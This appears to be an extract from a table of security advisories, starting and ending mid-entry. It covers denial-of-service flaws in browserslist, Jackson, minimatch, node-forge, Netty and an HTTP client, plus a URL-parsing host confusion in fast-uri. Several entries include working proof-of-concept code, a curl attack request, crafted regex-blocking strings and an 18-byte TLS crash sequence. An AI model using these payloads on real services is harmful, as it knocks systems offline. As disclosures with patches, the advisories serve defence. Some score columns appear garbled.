`numSettings=262144` and `wire_bytes=2097164`. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed `DefaultSpdySettingsFrame`, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion. | |
| 7.5CVSS 3.1 | GHSA-73wf-gq98-2v4g
CVE-2026-73088 |
Not affected | 2026-09-01 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Vulnerability Details **File**: `node.js` **Function**: `normalizeStats()` (line ~214), reached from `getStat()` (called **unconditionally** on every `browserslist()` call) and `loadStat()` ### Root Cause ```js function normalizeStats(data, stats) { if (!data) { data = {} } if (stats && 'dataByBrowser' in stats) { stats = stats.dataByBrowser } if (typeof stats !== 'object') return undefined var normalized = {} for (var i in stats) { var versions = Object.keys(stats[i]) if (versions.length === 1 && data[i] && data[i].versions.length === 1) { var normal = data[i].versions[0] normalized[i] = {} normalized[i][normal] = stats[i][versions[0]] } else { normalized[i] = stats[i] } } return normalized } ``` `stats` is untrusted: it comes from `JSON.parse()`-ing a `browserslist-stats.json` file — auto-discovered by walking up the directory tree from the project root **on every `browserslist()` call, regardless of the query** (`env.getStat(opts, browserslist.data)` runs unconditionally inside `browserslist()`) — or from `opts.stats` passed programmatically / via the CLI's `--stats=` flag. `data` is `browserslist.data`, a plain object populated only with real browser names. Two independent bugs from the same root cause (unguarded `for...in` over untrusted keys used with plain-object bracket access/assignment): 1. **Crash**: `data[i]` has no `hasOwnProperty` guard. If `stats` contains a key that also happens to be an inherited `Object.prototype` member name — `"__proto__"`, `"toString"`, `"valueOf"`, `"constructor"`, `"hasOwnProperty"`, `"isPrototypeOf"`, etc. — `data[i]` resolves to that inherited function/object (always truthy), and the code then does `data[i].versions.length` → `undefined.length` → **uncaught `TypeError`**, for any such key whose JSON value has exactly one sub-key, e.g.: ```json { "toString": { "onekey": 5 }, "chrome": { "100": 50 } } ``` 2. **Prototype write**: `normalized[i] = ...` on the fresh `normalized = {}` — if `i` is exactly `"__proto__"` (and `normalized` has no own property by that name yet), this computed assignment invokes the real `Object.prototype.__proto__` setter, changing `normalized`'s actual `[[Prototype]]` instead of creating a plain property. Because this runs on **every** `browserslist()` call regardless of the query, simply committing a poisoned `browserslist-stats.json` anywhere in a project's directory tree breaks every subsequent Browserslist call in that project — including calls made by Autoprefixer, Babel `preset-env`, Stylelint, or PostCSS internally, for completely unrelated queries. ### Attack Scenario 1. Attacker submits a PR (or a compromised dependency) adding a `browserslist-stats.json` file anywhere between the project root and filesystem root, containing e.g. `{"toString": {"onekey": 5}, "chrome": {"100": 50}}`. 2. The victim's build/CI pipeline runs any tool that calls `browserslist()` internally, for **any** query. 3. The auto-discovered poisoned file crashes the process with an uncaught `TypeError` on the very first call. ### Measured Impact Confirmed crash (real `browserslist()` call, v4.28.6) with `stats` keys: `__proto__`, `toString`, `valueOf`, `hasOwnProperty`, `constructor`, `isPrototypeOf` — each paired with a one-key JSON object — for any query, including `browserslist('defaults')` which never mentions stats. ### Recommended Fix (implemented and verified) ```js var normalized = Object.create(null) for (var i in stats) { var versions = Object.keys(stats[i]) var known = Object.prototype.hasOwnProperty.call(data, i) && data[i] if (versions.length === 1 && known && known.versions.length === 1) { var normal = known.versions[0] normalized[i] = Object.create(null) normalized[i][normal] = stats[i][versions[0]] } else { normalized[i] = stats[i] } } return normalized ``` `normalized` uses `Object.create(null)` so a write to `"__proto__"` is an ordinary property set, never a `[[Prototype]]` change; `data[i]` is replaced with an explicit `hasOwnProperty` check so it never resolves to an inherited `Object.prototype` member. **Verification**: - `NODE_ENV=test npx uvu test .test.js` → 301/301 pass unmodified (`test/custom.test.js`, `test/shareable-stats.test.js`, `test/cover.test.js` exercise the stats-handling paths). - All 6 previously crash-inducing keys, tested individually, now resolve without error. - The realistic file-based auto-discovery scenario (poisoned `browserslist-stats.json` + an unrelated `browserslist('defaults')` call) now returns a normal result instead of crashing. ### Impact - **Who is affected**: Any project whose build/CI invokes Browserslist (directly or via Autoprefixer/Babel/Stylelint/PostCSS) in a directory tree an attacker can place a file into (external PR, compromised dependency), or any app that passes user-influenced data into `opts.stats`. - **What an attacker achieves**: Immediate DoS — crashes the invoking process on the first Browserslist call after the file is present, for any query, no special syntax needed. - **Conditions required**: No authentication — only the ability to add a file to the project's directory tree, or influence `opts.stats`. ### Verification Environment browserslist @ HEAD (== v4.28.6, current latest stable release) under local Node.js v20.19.5. Pure JS library — executed directly, no server needed. ### Note Found via a systematic review of prototype-pollution-adjacent patterns in this codebase after confirming two unrelated algorithmic-complexity issues (reported separately as GHSA-rrmg-cfrq-23vv and GHSA-g6p8-hj8g-x889) in the same research pass. A similar `for...in` + bracket-write pattern in `index.js`'s `copyObject()` (used by `normalizeAndroidData`) was already guarded against `__proto__`/`constructor`/`prototype` keys by a prior, unrelated commit — that guard was never applied to this function. | |
| 7.5CVSS 3.1 | GHSA-7grg-jcf7-rpmx
CVE-2026-85721 |
Resolved | 2026-09-17 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Impact With automatic response decompression enabled (the default), the HTTP/1.1 path decompresses response bodies with no limit on the total output size. A hostile or compromised server, or an attacker who can change a response in transit, can send a small compressed body that inflates without bound in memory, exhausting the client's heap and causing an OutOfMemoryError. gzip, deflate and snappy are always available as vectors; brotli and zstd apply only when those optional codecs are on the classpath. ### Affected versions * 3.x: up to and including 3.0.11 * 2.x: up to and including 2.16.0 The HTTP/2 path carries its own limit from 3.0.11 onward. On 3.0.8, 3.0.9 and 3.0.10 the HTTP/2 decompressor is also unbounded, so on those versions switching to HTTP/2 is not a mitigation. ### Patches Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The fix counts the decompressed bytes produced for each response and fails the response once the configured maximum is exceeded, so the limit applies to the whole body rather than to any single chunk. ### Workarounds On 3.x, disable automatic decompression (setEnableAutomaticDecompression(false)) and decompress manually with your own size limit. The 2.x line has no such setting; the decompressor is installed unconditionally, so the only option there is to remove the inflater handler through httpAdditionalChannelInitializer. On either line, running the client behind a proxy that caps response sizes also works. ### Details ChannelManager.newHttpContentDecompressor() created Netty's HttpContentDecompressor without any bound, and Netty's own maxAllocation parameter limits a single decode step rather than the accumulated size of a response, so it cannot bound a decompression bomb delivered as many small chunks. The fix tracks the accumulated decompressed size per response instead. Note that 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Upgrade to 3.0.13 to pick up both fixes. | |
| 7.5CVSS 3.1 | GHSA-7hhh-6rmp-j9qf
CVE-2026-89425 |
In triage | 2026-10-01 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Status **FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a 20,000,109-character exception message from a 20-million-character attacker payload, while the identical payload fed through `createParser(InputStream)` produced a correctly bounded 367-character message. ## Affected Component / Version - **Package:** `com.fasterxml.jackson.core:jackson-core` - **Confirmed against:** `jackson-core-2.20.2` - **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java` (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree) ## Technical Analysis `UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its exception message by appending identifier characters one at a time to a bare `StringBuilder`: ```java protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException { StringBuilder sb = new StringBuilder(matchedPart); while (true) { char c = (char) _decodeCharForError(ch); if (!Character.isJavaIdentifierPart(c)) { break; } sb.append(c); ch = _inputData.readUnsignedByte(); } _reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg); } ``` There is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256) anywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the same logic does enforce it: ```java // UTF8StreamJsonParser.java (control, correctly bounded) if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) { sb.append("..."); break; } ``` `ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit — this is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by direct comparison of all four parser implementations in this tree. This path is additionally left with **no fallback control**: because of `[core#1570]`-related logic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser creation to be rejected outright, so a document-length backstop cannot coexist with this input source, and the identifier-character accumulation never passes through `ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no configuration an application can set to mitigate this specific path. ## Reproduction Procedure Same clone/build steps as `jackson-core_1_...md`. Then: ```bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder ``` ## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`) ```java import com.fasterxml.jackson.core.*; import java.io.DataInputStream; import java.io.IOException; import java.io.InputStream; public class PoC6_UnboundedErrorTokenStringBuilder { static class RepeatingByteInputStream extends InputStream { private final int b; private long remaining; RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; } @Override public int read() { if (remaining <= 0) return -1; remaining--; return b; } } public static void main(String[] args) throws Exception { final long IDENTIFIER_CHAR_COUNT = 20_000_000L; System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT + " Java-identifier characters ('x'), then a terminating space, never completing" + " \"true\"/\"false\"/\"null\"/NaN.\n"); System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8")); DataInputStream dataIn = new DataInputStream(raw); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser((java.io.DataInput) dataIn); long heapBefore = usedHeap(); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1_000_000; long heapAfter = usedHeap(); int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB"); System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT + "-character payload (unbounded)? " + (msgLen > 1_000_000)); } System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8")); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser(raw); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1_000_000; int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500)); } } static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) { InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle); return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix)); } static long usedHeap() { Runtime rt = Runtime.getRuntime(); System.gc(); return rt.totalMemory() - rt.freeMemory(); } } ``` ## Captured Evidence (actual run output) ``` Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating space, never completing "true"/"false"/"null"/NaN. === (a) UTF8DataInputJsonParser via createParser(DataInput) === Exception message length: 20000109 characters Elapsed time: 81 ms Approx additional heap used (best-effort, GC-noisy): 38 MB Message length is proportional to the full 20000000-character attacker payload (unbounded)? true === (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input === Exception message length: 367 characters Elapsed time: 7 ms Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true ``` The same 20-million-character malformed token, fed to the two parser variants, produces a 367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character message via the vulnerable `DataInput` path — a difference of roughly 54,500x for identical input, confirming the missing bound is the sole cause of the difference. ## Impact Any application creating parsers via `JsonFactory.createParser(DataInput)` over attacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth from a single malformed token. Scaling the payload from the 20MB demonstrated here to gigabytes (well within a typical unbounded request body) would drive the accumulated `StringBuilder` — which additionally undergoes byte-to-char expansion and internal doubling — to consume many times the raw payload size, realistically triggering `OutOfMemoryError` and denying service to the whole JVM process. Critically, **no available configuration mitigates this**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength` does not apply to this code path. ## Remediation 1. Add the `maxErrorTokenLength` check to the append loop in `UTF8DataInputJsonParser._reportInvalidToken()`, appending `"..."` and breaking when the limit is reached — mirroring the three other parser implementations exactly. 2. Add a parameterized regression test across all four parser implementations asserting the exception message length is bounded by `maxErrorTokenLength` plus a small constant. 3. Consider extracting this bounded-scan logic into a single shared helper on `ParserMinimalBase` to prevent this class of per-implementation drift recurring. | |
| 7.5CVSS 3.1 | GHSA-7p8r-x3mc-p8w7
CVE-2026-18446 |
Resolved | 2026-08-03 | 5.6 ×95.5 ×205.4 ×14 | ### Impact `fast-uri` v4.1.1 and earlier require a literal `//` to recognize a URI authority, so a reference that uses `\\`, `/\`, or `\/` as the authority introducer (in place of `//`, after an optional scheme) is parsed with no authority: the sequence and everything after it fold into the path. Node's native WHATWG `URL` (used by `fetch()`, `undici`, and Node's `http`/`https` clients) instead treats `\` as interchangeable with `/` for special schemes (`http`, `https`, `ws`, `wss`, `ftp`, `file`), so the two parsers extract different hosts from the same input. For example, `fast-uri` resolves `\\evil.com/path` against base `https://allowed.com/` to `https://allowed.com/%5C%5Cevil.com/path` (confined to the trusted host), while Node's WHATWG URL resolves the same reference to `https://evil.com/path`. Applications that use `fast-uri` to enforce host-based policy (allowlists, denylists, loopback/SSRF filtering, redirect validation, outbound proxy routing) before passing the same URL into Node's URL or `fetch()` consumers see a policy/use desync and can be steered to an unintended destination. ### Patches Upgrade to `fast-uri` v4.1.2, v3.1.5, v2.4.4. ### Workarounds None. Upgrade to the patched version. | |
| 7.5CVSS 3.1 | GHSA-7r86-cg39-jmmj
CVE-2026-27903 |
False positive | 2026-02-26 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. --- ### Details The vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960): ```typescript while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } ``` When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input. Measured timing with n=30 path segments: | k (globstars) | Pattern size | Time | |---------------|--------------|----------| | 7 | 36 bytes | ~154ms | | 9 | 46 bytes | ~1.2s | | 11 | 56 bytes | ~5.4s | | 12 | 61 bytes | ~9.7s | | 13 | 66 bytes | ~15.9s | --- ### PoC Tested on minimatch@10.2.2, Node.js 20. **Step 1 -- inline script** ```javascript import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms ``` To scale the effect, increase k: ```javascript // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) ``` No special options are required. This reproduces with the default `minimatch()` call. **Step 2 -- HTTP server (event loop starvation proof)** The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: ```javascript // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) ``` Terminal 1 -- start the server: ``` node poc1-server.mjs ``` Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: ``` curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & ``` Terminal 3 -- while the attack is in-flight, send a benign request: ``` curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" ``` **Observed output (Terminal 3):** ``` {"result":true,"ms":"0"} time_total: 4.132709s ``` The server reports `"ms":"0"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: ``` {"result":true,"ms":"0"} time_total: 0.001599s ``` --- ### Impact Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. | |
| 7.5CVSS 3.1 | GHSA-7wch-p9px-956x | In triage | 2026-10-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary `pem.decode()`, which every node-forge API that parses PEM input uses, split messages with a regular expression that takes polynomial time on input without a matching END line, and parsed encapsulated headers with regular expressions that take quadratic time on long header lines. A remote attacker can block the Node.js event loop for seconds to minutes with a crafted input of a few tens of kilobytes. Fixed in node-forge 1.4.1. ### Details `pem.decode()` in `lib/pem.js` found PEM messages with this regular expression: /\s*-----BEGIN ([A-Z0-9- ]+)-----\r?\n?([\x21-\x7e\s]+?(?:\r?\n\r?\n))?([:A-Za-z0-9+\/=\s]+?)-----END \1-----/g The optional headers group and the body group are adjacent, lazy, and share characters (whitespace and the base64 alphabet), and the match must end with an END line whose label equals the BEGIN label (`\1`). When no such END line follows, the engine tries every split of the text between the two groups, for every label split and at every BEGIN line in the input. The work grows polynomially with the input length (roughly cubic for repeated BEGIN/END lines with mismatched labels, quadratic for a BEGIN line followed by many newlines). The encapsulated header parsing in the same function had two smaller quadratic cases: trimming each header line with `/\s+$/`, and an unanchored header regex `([\x21-\x7e]+):...` that retries at every position of a long line without a colon. These are reachable when a message does match. All PEM entry points call `pem.decode()`, including `pki.certificateFromPem()`, `pki.privateKeyFromPem()`, `pki.publicKeyFromPem()`, `pki.certificationRequestFromPem()`, `pki.encryptedPrivateKeyFromPem()`, `pki.decryptRsaPrivateKey()` and `pkcs7.messageFromPem()`. The fix replaces the message regular expression with a scanner that indexes the END lines once and matches each BEGIN line in linear time, finding the same messages as before. The one difference: a label containing `-----` (`-----BEGIN A-----B-----`) was matched as `A-----B` if possible; now only the shortest label, `A`, is used. RFC 7468 labels can't contain `--`. Header parsing now trims lines with a loop and only starts a header match at the beginning of a run of printable characters, which gives the same result. #### Patches Fixed in node-forge 1.4.1. PEM messages and encapsulated headers are now parsed in linear time. #### Workarounds Rejecting untrusted PEM input larger than a few kilobytes before passing it to node-forge limits the delay but doesn't remove it: on 1.4.0, about 7 KB of crafted input blocked for 0.4 s, and 29 KB for 24 s. #### Credits Reported by Ahmed Mokhtari (@AhmedMokhtari), @mwlik and @imenyoo2, and independently by @offset, @bibu123456 (coordinated by @Kayiz-PT), and @Mucahic. ### Proof of concept var forge = require('node-forge'); var pem = ' -----BEGIN I-----G-----END B'.repeat(1000) + '\x00'; // 29 KB try { forge.pki.certificateFromPem(pem); } catch(e) {} On 1.4.0 (Node.js 24) this call blocks for about 24 seconds before throwing "Invalid PEM formatted message."; 14 KB takes about 3 seconds. A BEGIN line followed by 32 KB of newlines and no END line takes about 1.5 seconds, and the time grows quadratically from there. On 1.4.1 each of these inputs is rejected in a few milliseconds, and 1 MB inputs of any of these shapes take under 100 ms. The PoC is in tests/pocs/ghsa-7wch-p9px-956x.js. Regression tests are in tests/unit/pem.js ("GHSA-7wch-p9px-956x ReDoS checks"). ### Impact Any application that passes untrusted PEM text to node-forge is affected: for example, services that accept uploaded certificates, keys or certificate signing requests, or that parse certificates from configuration, SAML metadata or other user-supplied documents. A remote, unauthenticated attacker can send a small crafted input that blocks the Node.js event loop for seconds to minutes per request, so the process stops serving other requests. Repeated requests keep it unavailable. There is no confidentiality or integrity impact. | |
| 7.5CVSS 3.1 | GHSA-8hrf-8g6f-7xwp | In triage | 2026-10-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary A connection created with `forge.tls.createConnection()` throws an uncaught `TypeError` from `process()` when it receives a record of another content type while waiting for the rest of a handshake message that was split across records. A peer can trigger this with 18 bytes before the handshake, without authentication, which terminates Node.js processes that use the documented socket wiring. Fixed in node-forge 1.4.1. ### Details In `lib/tls.js`, `_readRecord()` handles a record that arrives while a handshake message split across records is incomplete. If the record has any other content type (change_cipher_spec, alert, application_data or heartbeat), forge correctly reports "Invalid fragmented record." through `c.error()` with a fatal `unexpected_message` alert. That fatal error closes and resets the connection, which sets `c.record` to `null`. `_readRecord()` then continues with `c.record.ready = true` and throws `TypeError: Cannot set properties of null (setting 'ready')` out of `process()`. The code is unchanged since the first release. RFC 5246 section 6.2.1 allows a handshake message to be fragmented across records, and RFC 8446 section 5.1 forbids interleaving handshake messages with other record types. Failing the connection with `unexpected_message` is the intended behavior; the bug is the crash after the error. node-forge reports TLS protocol errors through the `error` callback, so applications do not normally wrap `process()` in `try`/`catch`. When `process()` is called from a Node.js socket `data` handler, as in the documented usage, the exception is uncaught and terminates the process. The fix returns from `_readRecord()` right after the fatal error. The connection is failed, the alert is sent and the `error` callback is called as before, and `process()` no longer throws. ### Patches Fixed in node-forge 1.4.1. The connection still fails with a fatal `unexpected_message` alert and the `error` callback, but `process()` no longer throws. ### Workarounds Wrap every call to `connection.process()` in `try`/`catch`. The connection has already been failed and closed when the exception is thrown, so the exception can be ignored or the socket destroyed. ### Proof of concept Input (server mode), two records, 18 bytes: 16 03 01 00 06 01 00 00 10 03 01 handshake record: ClientHello header announcing 16 bytes, 2 present 15 03 01 00 02 02 28 alert record // c = forge.tls.createConnection({server: true, ...}) c.process(forge.util.hexToBytes('1603010006010000100301' + '15030100020228')); On 1.4.0 the `error` callback receives "Invalid fragmented record.", then `process()` throws `TypeError: Cannot set properties of null (setting 'ready')`. A change_cipher_spec, application_data or heartbeat record in place of the alert has the same effect, and a client connection behaves the same with a fragment of a ServerHello. In a Node.js server that calls `c.process(data.toString('binary'))` from `socket.on('data', ...)`, a client sending these 18 bytes terminates the server process. On 1.4.1 the connection fails with a fatal `unexpected_message` alert and `process()` returns normally. Regression tests in tests/unit/tls.js, "fragmented handshake messages": each of the four other record types after a handshake fragment, in server and client mode, plus same-type continuation records that are still accepted. ### Impact Applications that use node-forge's TLS implementation: connections from `forge.tls.createConnection()`, including those created by `forge.tls.wrapSocket()` and the `forge.http` / `forge.xhr` TLS connections. Any peer that can connect to a forge TLS server, or any server a forge TLS client connects to, can send 18 bytes before the handshake, without authentication. In Node.js applications using the documented usage, the uncaught exception terminates the process, which drops every connection it serves, and the attacker can repeat it on every restart. There is no confidentiality or integrity impact. | |
| 7.5CVSS 3.1 | GHSA-93wv-jw9v-4972
CVE-2026-56819 |
Resolved | 2026-07-31 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Summary A remote, unauthenticated peer can leak one direct `ByteBuf` per HTTP/2 `DATA` frame in applications that enable HTTP/2 content decompression via `DelegatingDecompressorFrameListener`. When a `DATA` frame is processed for a stream whose decompressor has already been closed, `Http2Decompressor.decompress(...)` retains the frame buffer but never releases it on the error path, so its reference count never returns to zero. Repeating this over a long-lived HTTP/2 connection exhausts direct memory and crashes the JVM with `OutOfMemoryError` — a denial of service. ### Details In `codec-http2/src/main/java/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java`, `Http2Decompressor.decompress(...)` does: ```java // around line 433 decompressor.writeInbound(data.retain()); ``` The argument `data.retain()` is evaluated **before** `writeInbound(...)` executes, incrementing the buffer's reference count (`refCnt: 1 -> 2`). The very first statement of `EmbeddedChannel.writeInbound(...)` is `ensureOpen()` (`EmbeddedChannel.java:360`), which throws `ClosedChannelException` when the decompressor's internal `EmbeddedChannel` has already been closed. When that happens: - the `DATA` payload has been `retain()`ed but never entered the pipeline, so the decoder's `finally { release() }` never runs; - the surrounding `catch (Throwable t)` block in `decompress(...)` (around line 451) does **not** release the extra reference; - the input buffer therefore can never reach refCnt 0, and its (typically direct) memory is leaked. The decompressor channel is closed on a reachable path: `Http2Connection` `onStreamRemoved` → `Http2Decompressor.cleanup()` → `EmbeddedChannel.finishAndReleaseAll()` (`DelegatingDecompressorFrameListener.java:125-133` and `418-420`). A peer that sends `DATA` frames for a stream whose decompressor has already been cleaned up (e.g. continuing to send `DATA` after `END_STREAM` / stream removal) thus leaks one direct `ByteBuf` per frame. **Affected code**: `DelegatingDecompressorFrameListener.java`, method `Http2Decompressor.decompress(...)` — the `decompressor.writeInbound(data.retain())` call (line ~433) and its `catch (Throwable t)` block (line ~451), which lacks a `data.release()` rollback. **Suggested fix**: track whether `writeInbound` succeeded and roll back the extra `retain()` only when the data never entered the pipeline: ```java boolean writeSucceeded = false; try { decompressor.writeInbound(data.retain()); writeSucceeded = true; // pipeline now owns the release if (endOfStream) { decompressor.finish(); } return 0; } catch (Throwable t) { if (!writeSucceeded) { data.release(); // roll back the extra retain(); data never entered pipeline } if (t instanceof Http2Exception) { throw (Http2Exception) t; } throw streamError(stream.id(), INTERNAL_ERROR, t, ...); } ``` | Case | writeSucceeded | catch action | Reason | |------|:---:|---|---| | `ensureOpen()` throws (this bug) | `false` | `data.release()` | data never entered pipeline | | handler throws internally | `true` | no release | decoder `finally` already released | | `finish()` throws | `true` | no release | `writeInbound` already succeeded | ### PoC Reproduced against the official, unmodified `netty-codec-http2-4.2.15.Final.jar` from Maven Central, using real netty classes and measuring `ByteBuf.refCnt()` directly (the leaking logic is not mocked). Reproduction steps: 1. Download the official artifacts and their dependencies from Maven Central (version `4.2.15.Final`): `netty-common`, `netty-buffer`, `netty-transport`, `netty-resolver`, `netty-handler`, `netty-codec-base`, `netty-codec`, `netty-codec-http`, `netty-codec-http2`, `netty-codec-compression`. 2. Build a real `Http2Decompressor` wrapping a real gzip decoder `EmbeddedChannel` (`ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP)`). 3. Close the internal decompressor channel (equivalent to the end state of `cleanup()` / `finishAndReleaseAll()`). 4. Encode a real gzip `DATA` payload with `ZlibCodecFactory.newZlibEncoder(GZIP)` (`refCnt = 1`). 5. Call `decompress(...)` on the closed channel. 6. Observe: `writeInbound(...)` throws `ClosedChannelException` at its `ensureOpen()` entry (`EmbeddedChannel.java:360`), reached from `DelegatingDecompressorFrameListener.java:433`; `data.refCnt()` is now `2`. 7. Release once as the frame reader would; `refCnt` stays at `1` (`release()` returns `false`) → leaked. Observed reference-count trace: ``` gzipData initial refCnt = 1 decompress -> data.retain() -> refCnt = 2 (retain applied, never rolled back) caller releases once -> refCnt = 1 (release() returns false; not deallocated) => buffer never reaches 0 -> direct memory leaked ``` Observed exception stack (confirms the leak point): ``` java.nio.channels.ClosedChannelException at io.netty.channel.embedded.EmbeddedChannel.checkOpen(EmbeddedChannel.java:959) at io.netty.channel.embedded.EmbeddedChannel.ensureOpen(EmbeddedChannel.java:979) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:360) at io.netty.handler.codec.http2.DelegatingDecompressorFrameListener$Http2Decompressor .decompress(DelegatingDecompressorFrameListener.java:433) ``` Two notes on the harness (they do not affect the leak mechanism): - The internal channel is closed directly via `close()` rather 